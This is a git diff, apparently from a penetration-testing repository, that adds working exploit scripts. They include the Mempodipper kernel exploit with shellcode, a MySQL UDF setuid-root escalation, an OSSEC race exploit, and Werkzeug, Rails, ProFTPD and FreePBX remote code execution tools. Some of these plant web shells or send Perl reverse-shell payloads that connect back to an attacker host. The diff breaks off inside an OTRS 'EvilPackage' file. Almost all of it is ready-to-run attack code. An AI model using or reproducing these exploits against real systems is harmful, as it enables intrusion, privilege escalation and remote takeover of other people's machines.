<stdio.h>+#include <string.h>+#include <stdlib.h>+#include <sys/types.h>+#include <sys/stat.h>+#include <sys/socket.h>+#include <sys/un.h>+#include <fcntl.h>+#include <unistd.h>+#include <limits.h>++char *socket_path = "/tmp/.sockpuppet";+int send_fd(int fd)+{+ char buf[1];+ struct iovec iov;+ struct msghdr msg;+ struct cmsghdr *cmsg;+ struct sockaddr_un addr;+ int n;+ int sock;+ char cms[CMSG_SPACE(sizeof(int))];++ if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)+ return -1;+ memset(&addr, 0, sizeof(addr));+ addr.sun_family = AF_UNIX;+ strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);+ if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)+ return -1;++ buf[0] = 0;+ iov.iov_base = buf;+ iov.iov_len = 1;++ memset(&msg, 0, sizeof msg);+ msg.msg_iov = &iov;+ msg.msg_iovlen = 1;+ msg.msg_control = (caddr_t)cms;+ msg.msg_controllen = CMSG_LEN(sizeof(int));++ cmsg = CMSG_FIRSTHDR(&msg);+ cmsg->cmsg_len = CMSG_LEN(sizeof(int));+ cmsg->cmsg_level = SOL_SOCKET;+ cmsg->cmsg_type = SCM_RIGHTS;+ memmove(CMSG_DATA(cmsg), &fd, sizeof(int));++ if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)+ return -1;+ close(sock);+ return 0;+}++int recv_fd()+{+ int listener;+ int sock;+ int n;+ int fd;+ char buf[1];+ struct iovec iov;+ struct msghdr msg;+ struct cmsghdr *cmsg;+ struct sockaddr_un addr;+ char cms[CMSG_SPACE(sizeof(int))];++ if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)+ return -1;+ memset(&addr, 0, sizeof(addr));+ addr.sun_family = AF_UNIX;+ strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);+ unlink(socket_path);+ if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)+ return -1;+ if (listen(listener, 1) < 0)+ return -1;+ if ((sock = accept(listener, NULL, NULL)) < 0)+ return -1;++ iov.iov_base = buf;+ iov.iov_len = 1;++ memset(&msg, 0, sizeof msg);+ msg.msg_name = 0;+ msg.msg_namelen = 0;+ msg.msg_iov = &iov;+ msg.msg_iovlen = 1;++ msg.msg_control = (caddr_t)cms;+ msg.msg_controllen = sizeof cms;++ if ((n = recvmsg(sock, &msg, 0)) < 0)+ return -1;+ if (n == 0)+ return -1;+ cmsg = CMSG_FIRSTHDR(&msg);+ memmove(&fd, CMSG_DATA(cmsg), sizeof(int));+ close(sock);+ close(listener);+ return fd;+}++int main(int argc, char **argv)+{+ if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {+ char parent_mem[256];+ sprintf(parent_mem, "/proc/%s/mem", argv[2]);+ printf("[+] Opening parent mem %s in child.\n", parent_mem);+ int fd = open(parent_mem, O_RDWR);+ if (fd < 0) {+ perror("[-] open");+ return 1;+ }+ printf("[+] Sending fd %d to parent.\n", fd);+ send_fd(fd);+ return 0;+ }++ printf("===============================\n");+ printf("= Mempodipper =\n");+ printf("= by zx2c4 =\n");+ printf("= Jan 21, 2012 =\n");+ printf("===============================\n\n");++ int parent_pid = getpid();+ if (fork()) {+ printf("[+] Waiting for transferred fd in parent.\n");+ int fd = recv_fd();+ printf("[+] Received fd at %d.\n", fd);+ if (fd < 0) {+ perror("[-] recv_fd");+ return -1;+ }+ printf("[+] Assigning fd %d to stderr.\n", fd);+ dup2(2, 6);+ dup2(fd, 2);++ unsigned long address;+ if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')+ address = strtoul(argv[2], NULL, 16);+ else {+ printf("[+] Reading su for exit@plt.\n");+ // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.+ FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");+ char result[32];+ result[0] = 0;+ fgets(result, 32, command);+ pclose(command);+ address = strtoul(result, NULL, 16);+ if (address == ULONG_MAX || !address) {+ printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");+ printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);+ return 1;+ }+ printf("[+] Resolved exit@plt to 0x%lx.\n", address);+ }+ printf("[+] Calculating su padding.\n");+ FILE *command = popen("su this-user-does-not-exist 2>&1", "r");+ char result[256];+ result[0] = 0;+ fgets(result, 256, command);+ pclose(command);+ unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);+ unsigned long offset = address - su_padding;+ printf("[+] Seeking to offset 0x%lx.\n", offset);+ lseek64(fd, offset, SEEK_SET);++#if defined(__i386__)+ // See shellcode-32.s in this package for the source.+ char shellcode[] =+ "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"+ "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"+ "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"+ "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"+ "\x80";+#elif defined(__x86_64__)+ // See shellcode-64.s in this package for the source.+ char shellcode[] =+ "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"+ "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"+ "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"+ "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"+ "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";++#else+#error "That platform is not supported."+#endif+ printf("[+] Executing su with shellcode.\n");+ execl("/bin/su", "su", shellcode, NULL);+ } else {+ char pid[32];+ sprintf(pid, "%d", parent_pid);+ printf("[+] Executing child from child fork.\n");+ execl("/proc/self/exe", argv[0], "-c", pid, NULL);+ }+}\ No newline at end of filediff --git a/Penetration Testing/exploits/linux/privs/MysqlUDF/README.md b/Penetration Testing/exploits/linux/privs/MysqlUDF/README.mdnew file mode 100644index 0000000..a90375e--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/MysqlUDF/README.md@@ -0,0 +1,8 @@+MySQL 4.1.10a <= 5.0.95 User-Defined Function exploit+=====================================================++Author: _amonsec</br>+Published: 2017-05-14</br>+CVE: N/A</br>+Type: Local</br>+Platform: Linux</br>diff --git a/Penetration Testing/exploits/linux/privs/MysqlUDF/mysql_udf_exploit.sh b/Penetration Testing/exploits/linux/privs/MysqlUDF/mysql_udf_exploit.shnew file mode 100644index 0000000..5690602--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/MysqlUDF/mysql_udf_exploit.sh@@ -0,0 +1,137 @@+#!/bin/sh++# Exploit Title: MySQL 4.1.10a <= 5.0.95 UDF exploit+# Date: 2017-05-14+# Exploit Author: _amonsec+# Contact: https://twitter.com/_amonsecTHS+# Category: Privilege Escalation+# Platform: Linux+# Version: MySQL 4.1.10a <= 5.0.95+# Tested on: CentOS 5.4 (final)+#+# Requirements:+# GCC+# MySQL installed (lul)+# MySQL user as root (user=root in /etc/my.cnf)+# MySQL datadire usable by the root user+#+#+# To potentially modify:+# Ligne 110 --> change '/bin/bash' with the wanted shell version+# Ligne 98/128/129 --> change the output path with an usable one+++# THE COLORZ+########################################################################+STD=$(echo -e "\e[0;0;0m") #Revert fonts to standard colour/format+RED=$(echo -e "\e[1;31m") #Alter fonts to red bold+ORN=$(echo -e "\e[1;33m") #Alter fonts to orange bold+BLU=$(echo -e "\e[1;36m") #Alter fonts to blue bold+#++echo ""+echo $BLU"[*]$STD Author: _amonsec"+echo $BLU"[*]$STD MySQL 4.1.10a <= 5.0.95 UDF exploit"+echo $BLU"[*]$STD Thanks: Top-Hat-Sec & H4v0k & Ch3rn0byl"+echo ""++if ( ! touch test.txt 2> /dev/null ) ; then+ echo "$RED[!]$STD You need to be in a writable place"+ exit 2+fi++rm test.txt >/dev/null+ACTUAL_PATH=$(pwd)++echo "$BLU[*]$STD Create the exploit C code"+echo "#include <stdio.h>" > mysql_exploit.c+echo "#include <stdlib.h>" >> mysql_exploit.c+echo "enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};" >> mysql_exploit.c+echo "" >> mysql_exploit.c+echo "typedef struct st_udf_args {" >> mysql_exploit.c+echo "unsigned int arg_count;" >> mysql_exploit.c+echo "enum Item_result *arg_type;" >> mysql_exploit.c+echo "char **args;" >> mysql_exploit.c+echo "unsigned long *lengths;" >> mysql_exploit.c+echo "char *maybe_null;" >> mysql_exploit.c+echo "} UDF_ARGS;" >> mysql_exploit.c+echo "" >> mysql_exploit.c+echo "typedef struct st_udf_init {" >> mysql_exploit.c+echo "char maybe_null;" >> mysql_exploit.c+echo "unsigned int decimals;" >> mysql_exploit.c+echo "unsigned long max_length;" >> mysql_exploit.c+echo "char *ptr;" >> mysql_exploit.c+echo "char const_item;" >> mysql_exploit.c+echo "} UDF_INIT;" >> mysql_exploit.c+echo "" >> mysql_exploit.c+echo "int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {" >> mysql_exploit.c+echo "if (args->arg_count != 1)" >> mysql_exploit.c+echo "return(0);" >> mysql_exploit.c+echo "" >> mysql_exploit.c+echo "system(args->args[0]);" >> mysql_exploit.c+echo "" >> mysql_exploit.c+echo "return(0);" >> mysql_exploit.c+echo "}" >> mysql_exploit.c+echo "char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {" >> mysql_exploit.c+echo "return(0);" >> mysql_exploit.c+echo "}" >> mysql_exploit.c+echo "" >> mysql_exploit.c++echo "$BLU[*]$STD Compile the C exploit"+gcc -g -c mysql_exploit.c++echo "$BLU[*]$STD Create the shared object"+gcc -g -shared -W1,-soname,mysql_exploit.so -o mysql_exploit.so mysql_exploit.o -lc++echo "$BLU[*]$STD Create the setuid C file"+echo "#include <stdio.h>" > setuid.c+echo "#include <sys/types.h>" >> setuid.c+echo "#include <unistd.h>" >> setuid.c+echo "#include <stdlib.h>" >> setuid.c+echo "" >> setuid.c+echo "#define RED \"\033[1m\033[31m\"" >> setuid.c+echo "#define GRN \"\033[1m\033[32m\"" >> setuid.c+echo "#define BLU \"\033[1m\033[36m\"" >> setuid.c+echo "#define RESET \"\033[0m\"" >> setuid.c+echo "" >> setuid.c+echo "#define R_MYSQL_TABLE \"mysql -u root -e 'drop table mysql.rekt;'\"" >> setuid.c+echo "#define R_MYSQL_FUNC \"mysql -u root -e 'drop function do_system;'\"" >> setuid.c+echo "#define R_FILES \"rm -rf $ACTUAL_PATH/* /usr/lib/mysql_exploit.so /tmp/setuid\"" >> setuid.c+echo "" >> setuid.c+echo "int main(void) {" >> setuid.c+echo "setuid(0);" >> setuid.c+echo "setgid(0);" >> setuid.c+echo "if (geteuid() == 0) {" >> setuid.c+echo "printf(\"%s[+]%s Braaaaaaaaah you are root\n\", GRN, RESET);" >> setuid.c+echo "printf(\"%s[*]%s Removing MySQL table\n\", BLU, RESET);" >> setuid.c+echo "system(R_MYSQL_TABLE);" >> setuid.c+echo "printf(\"%s[*]%s Removing MySQL function\n\", BLU, RESET);" >> setuid.c+echo "system(R_MYSQL_FUNC);" >> setuid.c+echo "printf(\"%s[*]%s Removing files\n\n\", BLU, RESET);" >> setuid.c+echo "system(R_FILES);" >> setuid.c+echo "system(\"/bin/bash\");" >> setuid.c+echo "} else {" >> setuid.c+echo "printf(\"%s[!]%s Ouuups something goes wrong\n\", RED, RESET);" >> setuid.c+echo "printf(\"%s[*]%s Removing MySQL table\n\", BLU, RESET);" >> setuid.c+echo "system(R_MYSQL_TABLE);" >> setuid.c+echo "printf(\"%s[*]%s Removing MySQL function\n\", BLU, RESET);" >> setuid.c+echo "system(R_MYSQL_FUNC);" >> setuid.c+echo "}" >> setuid.c+echo "}" >> setuid.c++echo "$BLU[*]$STD Create the SQL file"+echo "use mysql;" > commands.sql+echo "create table rekt(line blob);" >> commands.sql+echo "insert into rekt values(load_file('$ACTUAL_PATH/mysql_exploit.so'));" >> commands.sql+echo "select * from rekt into dumpfile '/usr/lib/mysql_exploit.so';" >> commands.sql+echo "select * from mysql.func;" >> commands.sql+echo "create function do_system returns integer soname 'mysql_exploit.so';" >> commands.sql+echo "select do_system('gcc -o /tmp/setuid $ACTUAL_PATH/setuid.c');" >> commands.sql+echo "select do_system('chmod u+s /tmp/setuid');" >> commands.sql++echo "$BLU[*]$STD Start the SQL's commands"+mysql -u root < commands.sql++echo ""+echo "$BLU[*]$STD The moment of truth"+/tmp/setuid\ No newline at end of filediff --git a/Penetration Testing/exploits/linux/privs/OSSEC-2.8/README.md b/Penetration Testing/exploits/linux/privs/OSSEC-2.8/README.mdnew file mode 100644index 0000000..d93bcd6--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/OSSEC-2.8/README.md@@ -0,0 +1,11 @@+OSSEC 2.8 - 'hosts.deny' Privilege Escalation+=============================================++EDB-ID: 35234</br>+Author: skynet-13 (a.k.a Jeff Petersen)</br>+Published: 2014-11-14</br>+CVE: CVE-2014-5284</br>+Type: Local</br>+Platform: Linux</br>+Link: <https://www.exploit-db.com/exploits/35234/></br>+diff --git a/Penetration Testing/exploits/linux/privs/OSSEC-2.8/ossec_host_deny.py b/Penetration Testing/exploits/linux/privs/OSSEC-2.8/ossec_host_deny.pynew file mode 100755index 0000000..4b0af53--- /dev/null+++ b/Penetration Testing/exploits/linux/privs/OSSEC-2.8/ossec_host_deny.py@@ -0,0 +1,82 @@+#!/usr/bin/python+# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation+# Date: 14-11-14+# Exploit Author: skynet-13+# Vendor Homepage: www.ossec.net/+# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz+# Version: OSSEC - 2.8+# Tested on: Ubunutu x86_64+# CVE : 2014-5284++# Created from Research by+# Jeff Petersen+# Roka Security LLC+# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1++# Run this on target machine and follow instructions to execute command as root++from twisted.internet import inotify+from twisted.python import filepath+from twisted.internet import reactor+import os+import optparse+import signal+++class HostDenyExploiter(object):++ def __init__(self, path_to_watch, cmd):+ self.path = path_to_watch+ self.notifier = inotify.INotify()+ self.exploit = cmd++ def create_files(self):+ print "=============================================="+ print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."++ for i in range(300, 65536):+ filename = "/tmp/hosts.deny.%s" % i+ f = open(filename, 'w')+ f.write("")+ f.close()++ def watch_files(self):+ print "=============================================="+ print "Monitoring tmp for file change...."+ print "ssh into the system a few times with an incorrect password"+ print "Then wait for up to 10 mins"+ print "=============================================="+ self.notifier.startReading()+ self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])++ def write_exploit_to_file(self, path):+ print 'Writing exploit to this file'+ f = open(str(path).split("'")[1], 'w')+ f.write(' sshd : ALL : twist %s \n' % self.exploit)+ f.close()+ print "=============================================="+ print " ssh in again to execute the command"+ print "=============================================="+ print " End Prog."+ os.kill(os.getpid(), signal.SIGUSR1)++ def on_file_change(self, watch, path, mask):+ print 'File: ', str(path).split("'")[1], ' has just been modified'+ self.notifier.stopReading()+ self.write_exploit_to_file(path)+++if __name__ == '__main__':+ parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")+ parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')+ (options, args) = parser.parse_args()+ cmd = options.cmd+ if options.cmd is None:+ print parser.usage+ exit(0)+ ex = HostDenyExploiter('/tmp', cmd)+ ex.create_files()+ ex.watch_files()+ reactor.run()+ exit(0)diff --git a/Penetration Testing/exploits/python/werkzeug-debug-console/exploit.py b/Penetration Testing/exploits/python/werkzeug-debug-console/exploit.pynew file mode 100644index 0000000..4a9fda0--- /dev/null+++ b/Penetration Testing/exploits/python/werkzeug-debug-console/exploit.py@@ -0,0 +1,58 @@+#!/usr/bin/python3+import requests+import sys+import re++# lambda+_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'+success_message = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+error_message = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+info_message = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)++print(info_message('Searching for the Werkzeug console ...'))++url = 'http://ptl-e7e6b59c-ecd77b90.libcurl.so/console'+resp = requests.get(url)+if resp.status_code != 200:+ print(error_message('Ouups something goes wrong'))+ sys.exit(1)++if 'Werkzeug powered traceback interpreter' not in resp.text:+ print(error_message('Werkzeug console not found!'))+ sys.exit(1)+print(success_message('Werkzeug console successfully found!'))++if 'SECRET' not in resp.text:+ print(error_message('Secret key not found!'))+ sys.exit(1)+secret = re.findall("SECRET = \"([^']{20})", resp.text)[0]+print(info_message('Secret Code: {}\n'.format(secret)))++print(info_message('Interacting with the Werkzeug shell ...'))+while True:+ cmd = input('cmd> ')++ if cmd == 'exit' or cmd == 'quit':+ break+ if cmd == ' ' or cmd == '':+ continue++ cmd = cmd.replace("'", "\'")+ payload = '''+__import__('subprocess').Popen('{}', shell=True, stdout=__import__('subprocess').PIPE, stderr=__import__('subprocess').PIPE, stdin=__import__('subprocess').PIPE).stdout.read()+'''.format(cmd)++ parameters = {+ '__debugger__': 'yes',+ 'cmd': payload,+ 'frm': '0',+ 's': secret+ }++ resp = requests.get(url, params=parameters)+ resp = resp.text.split('<span class="string">')[1]+ resp = resp.split('</span></span>')[0]+ print(''.join(resp.replace('\\n', '\n')))diff --git a/Penetration Testing/exploits/ruby/cve-2013-0156/cve-2013-0156.py b/Penetration Testing/exploits/ruby/cve-2013-0156/cve-2013-0156.pynew file mode 100644index 0000000..21dfa74--- /dev/null+++ b/Penetration Testing/exploits/ruby/cve-2013-0156/cve-2013-0156.py@@ -0,0 +1,45 @@+#!/usr/bin/python3+import requests+import html+import sys++url = "http://ptl-c255bc2a-ab90d9aa.libcurl.so/"+payload = "system('ls -lah; whoami')"++yaml = '''+--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection+? |+ foo+ ({}; @executed = true) unless @executed+ __END__+: !ruby/struct+ defaults:+ :action: create+ :controller: foos+ required_parts: []+ requirements:+ :action: create+ :controller: foos+ segment_keys:+ - :format</exploit>+'''.format(payload)++xml = '''+<?xml version="1.0" encoding="UTF-8"?>+<exploit type="yaml">{}</exploit>+'''.format(html.escape(yaml))++header = {+ 'Content-Type': 'text/xml',+ 'X-HTTP-Method-Override': 'get'+}++resp = requests.post(url, data=xml, headers=header)+if resp.status_code == 200:+ print("Command sucessfully executed!")+ sys.exit(1)+else:+ print('Ouups something goes wrong!')+ print('Status code: {}'.format(resp.status_code))+ sys.exit(1)+diff --git a/Penetration Testing/exploits/ruby/cve-2015-3224/exploit.py b/Penetration Testing/exploits/ruby/cve-2015-3224/exploit.pynew file mode 100644index 0000000..af0128d--- /dev/null+++ b/Penetration Testing/exploits/ruby/cve-2015-3224/exploit.py@@ -0,0 +1,48 @@+#!/usr/bin/python3+import requests+import sys+import re++# lambda+_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'+success_message = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+error_message = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+info_message = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)++url = 'http://ptl-0d241748-4028bb14.libcurl.so/'+header = {'X-Forwarded-For': '0000::1'}++print(info_message('Searching for the console path ...'))+resp = requests.get(url + 'idonotexist', headers=header)+if resp.status_code != 404:+ print(error_message('Ouups something goes wrong!'))+ sys.exit(1)++print(success_message('Console path successfully found!'))+console_path = re.findall("data-remote-path='([^']+)'", resp.text)[0]+print(info_message('Path: {}\n'.format(console_path)))++print(info_message('Interacting with the web shell ...'))+url = url + console_path+while True:+ header = {+ 'X-Forwarded-For': '0000::1',+ 'Accept': 'application/vnd.web-console.v2',+ 'X-Requested-With': 'XMLHttpRequest'+ }++ cmd = input('cmd> ')+ if cmd == 'exit' or cmd == 'quit':+ break+ elif cmd == ' ':+ continue++ cmd = '`' + cmd + '`'+ data = {'input': cmd}++ resp = requests.put(url, data=data, headers=header)+ print(resp.text)+diff --git a/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/README.md b/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/README.mdnew file mode 100644index 0000000..6e84e04--- /dev/null+++ b/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/README.md@@ -0,0 +1,17 @@+ProFTPd 1.3.5 - 'mod_copy' Remote Code Execution+======================================================++EDB-ID: 36742</br>+Author: Vadim Melihow</br>+Published: 2015-04-13</br>+CVE: CVE-2015-3306</br>+Type: remote</br>+Platform: linux</br>+Link: <https://www.exploit-db.com/exploits/36742/></br>++- Script</br>+Author: Amonsec</br>+Website: <https://amonsec.net></br>+Published: 2018-08-05</br>++diff --git a/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/exploit.py b/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/exploit.pynew file mode 100644index 0000000..e00a2a4--- /dev/null+++ b/Penetration Testing/exploits/unix/ftp/ProFTPD-1.3.5/exploit.py@@ -0,0 +1,127 @@+#!/usr/bin/python+import argparse+import requests+import socket+import base64+import sys+++class ColorUtils(object):++ def __init__(self):+ self.__RED = '\x1b[1;31m'+ self.__BLU = '\x1b[1;34m'+ self.__GRE = '\x1b[1;32m'+ self.__YEL = '\x1b[1;33m'+ self.__RST = '\x1b[0;0;0m'+++ def success_message(self, message):+ """+ Return the formatted message for an success+ :param message:+ :return:+ """+ return '[{}+{}] {}'.format(self.__GRE, self.__RST, message)+++ def error_message(self, message):+ """+ Return the formatted message for an error+ :param message:+ :return:+ """+ return '[{}-{}] {}'.format(self.__RED, self.__RST, message)+++ def info_message(self, message):+ """+ Return the formatted message for an information+ :param message:+ :return:+ """+ return '[{}*{}] {}'.format(self.__BLU, self.__RST, message)++++class ExploitProFTPD(object):++ def __init__(self, rhost, ftpport, webport, webpath, filename):+ self.__rhost = rhost+ self.__ftpport = ftpport+ self.__webport = webport+ self.__webpath = webpath+ self.__filename = filename+ self.util = ColorUtils()+++ def create_php_file(self):+ self.util.info_message('Trying to create the PHP shell ...')+ try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((self.__rhost, self.__ftpport))++ php = '<?php echo shell_exec(base64_decode($_GET[\'cmd\'])); ?>'++ s.send('site cpfr /proc/self/cmdline\n')+ s.recv(1024)+ s.send('site cpto /tmp/.{}\n'.format(php))+ s.recv(1024)+ s.send('site cpfr /tmp/.{}\n'.format(php))+ s.recv(1024)+ s.send('site cpto {}/{}'.format(self.__webpath, self.__filename))+ s.close()++ resp = requests.get('http://{}:{}/{}'.format(self.__rhost, self.__webport, self.__filename))+ if resp.status_code != 200:+ print self.util.error_message('Oooups something goes wrong!')+ sys.exit(1)+ print self.util.success_message('PHP file successfully created!')+ print self.util.info_message('Target: http://{}:{}/{}\n'.format(self.__rhost, self.__webport, self.__filename))+ except socket.error as error:+ s.close()+ print self.util.error_message('Error: \n{}'.format(str(error)))+ sys.exit(1)+++ def pseudo_shell(self):+ print self.util.info_message('Interactive pseudo web shell?!')+ target = 'http://{}:{}/{}?cmd='.format(self.__rhost, self.__webport, self.__filename)+ while True:+ command = raw_input('cmd> ')++ if command == None or command == '':+ pass+ if command == 'quit' or command == 'exit':+ break+ command = base64.b64encode(command)+ resp = requests.get('{}{}'.format(target, command))+ print resp.content.split('SITE cpto /tmp/.')[1]++++if __name__ == '__main__':+ util = ColorUtils()+ print util.info_message('ProFTPd 1.3.5 - \'mod_copy\' Remote Command Execution')+ print util.info_message('Author: Vadim Melihow (original) Amonsec (this script)')+ print util.info_message('Website: https://amonsec.net\n')++ parser = argparse.ArgumentParser()+ parser.add_argument('--rhost', required=True)+ parser.add_argument('--ftpport', required=True)+ parser.add_argument('--webport', required=True)+ parser.add_argument('--webpath', required=True)+ parser.add_argument('--filename', required=True)+ arguments = parser.parse_args()++ exploit = ExploitProFTPD(+ arguments.rhost,+ int(arguments.ftpport),+ int(arguments.webport),+ arguments.webpath,+ arguments.filename+ )++ exploit.create_php_file()+ exploit.pseudo_shell()+diff --git a/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/README.md b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/README.mdnew file mode 100644index 0000000..d5754d9--- /dev/null+++ b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/README.md@@ -0,0 +1,15 @@+FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution+======================================================++- FreePBX 2.10</br>+EDB-ID: 18650</br>+Author: muts</br>+Published: 2012-03-23</br>+CVE: CVE-2012-4869</br>+Type: webapps</br>+Platform: php</br>+Link: <https://www.exploit-db.com/exploits/18650/></br>++- FreePBX 2.10 with SSl</br>+Author: \_amonsec</br>+Published: 2017-02-15</br>diff --git a/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10.py b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10.pynew file mode 100755index 0000000..1fec467--- /dev/null+++ b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10.py@@ -0,0 +1,42 @@+#!/usr/bin/python+############################################################+# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit+# Google Dork: oy vey+# Date: March 23rd, 2012+# Author: muts+# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.+# Tested on: multiple+# CVE : notyet+# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/+# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt+############################################################+# Discovered by Martin Tschirsich+# http://seclists.org/fulldisclosure/2012/Mar/234+# http://www.exploit-db.com/exploits/18649+############################################################+import urllib++rhost="x.x.x.x"+lhost="x.x.x.x"+lport=443+extension="1000"++# Reverse shell payload++url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'++urllib.urlopen(url)++# On Elastix, once we have a shell, we can escalate to root:+# root@bt:~# nc -lvp 443+# listening on [any] 443 ...+# connect to [172.16.254.223] from voip [172.16.254.72] 43415+# id+# uid=100(asterisk) gid=101(asterisk)+# sudo nmap --interactive++# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )+# Welcome to Interactive Mode -- press h <enter> for help+# nmap> !sh+# id+# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)diff --git a/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10_with_ssl.py b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10_with_ssl.pynew file mode 100755index 0000000..6c1c854--- /dev/null+++ b/Penetration Testing/exploits/unix/webapp/FreePBX-2.10/freepbx_2.10_with_ssl.py@@ -0,0 +1,43 @@+#!/usr/bin/env python+import urllib+import ssl+import sys++print "[*]\"FreePBX 2.10.0 / Elastix 2.2.0\" exploit with SSL"+print "[*] Link: https://www.exploit-db.com/exploits/18650/"+print ""++## Remote host+rhost = raw_input("[*] RHOST: ")++## Local host+lhost = raw_input("[*] LHOST: ")++## Local Port+lport = raw_input("[*] LPORT: ")++## User extension+extension = raw_input("[*] Extension: ")++## Reverse shell payload+url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'++try:+ ## Generate the SSL context+ context = ssl._create_unverified_context()++ ## Open URL with the SSL context+ print "[*] Send URL request ..."+ urllib.urlopen(url, context=context)+ print "[*] Success!"++except:+ print "[!] Ouuups! Something goes wrong!"+ sys.exit()++print ""+print "[*] The folling commands can help you to gain a root shell"+print "[*] sudo nmap --interactive"+print "[*] nmap> !sh"+print "[*] id"+print "[*] uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)"diff --git a/Penetration Testing/exploits/unix/webapp/OTRS-5/EvilPackage.opm b/Penetration Testing/exploits/unix/webapp/OTRS-5/EvilPackage.opmnew file mode 100644index 0000000..1a93a49--- /dev/null+++ b/Penetration Testing/exploits/unix/webapp/OTRS-5/EvilPackage.opm@@ -0,0 +1,33 @@+<?xml version="1.0" encoding="utf-8" ?>+<otrs_package version="1.1">+ <Name>EvilModule</Name>+ <Version>1.0.0</Version>+ <Vendor>Offsec</Vendor>+ 